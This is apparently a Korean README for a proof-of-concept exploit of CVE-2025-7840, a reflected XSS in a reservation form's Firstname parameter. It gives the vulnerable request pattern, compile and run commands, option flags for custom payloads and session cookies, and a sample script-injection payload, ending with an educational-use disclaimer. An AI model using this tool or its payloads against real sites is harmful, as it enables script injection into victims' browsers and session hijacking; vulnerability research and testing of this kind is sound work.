
CVE-2025-7840에 대한 개념 증명 익스플로잇으로, 예약 양식의 Firstname 매개변수에 악성 페이로드를 주입하여 XSS를 트리거합니다.
저자: Byte Reaper (@ByteReaper0)
CVE-2025-7840에 대한 개념 증명 익스플로잇입니다. 취약한 웹 애플리케이션 엔드포인트 중 예약 양식의 Firstname 매개변수에서 사용자 입력을 적절히 검사하지 않는 문제를 대상으로 합니다. 다음과 같은 GET 요청을 구성하면:
/index.php?page=reserve&Firstname=<payload>&Lastname=test
공격자가 응답이 렌더링될 때 피해자의 브라우저에서 임의의 JavaScript를 삽입하고 실행할 수 있습니다.
-b 옵션으로 사용자 정의 페이로드 삽입-c 옵션으로 쿠키 기반 세션 처리-v)libcurl 개발 헤더argparse 라이브러리익스플로잇 컴파일:
gcc -o exploit exploit.c argparse.c -lcurl
sudo ./exploit -u <TARGET_URL> [options]
| 플래그 | 설명 |
|---|---|
-u URL | 대상 기본 URL (예: http://victim.local) |
-b PAYLOAD | 삽입할 사용자 정의 XSS 페이로드 |
-c FILE | 세션 처리에 사용할 쿠키 저장 파일 |
-v | 상세 모드 (요청/응답 세부 정보 표시) |
대상에 기본 페이로드 실행:
sudo ./exploit -u http://victim.local
사용자 정의 페이로드 사용:
sudo ./exploit -u http://victim.local -b "<script>alert(\'PWNED\')</script>"
세션 쿠키 포함 및 상세 출력:
sudo ./exploit -u http://victim.local -c cookies.txt -v
이 코드는 교육 및 테스트 목적으로만 제공됩니다. 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법이며 비윤리적입니다.
MIT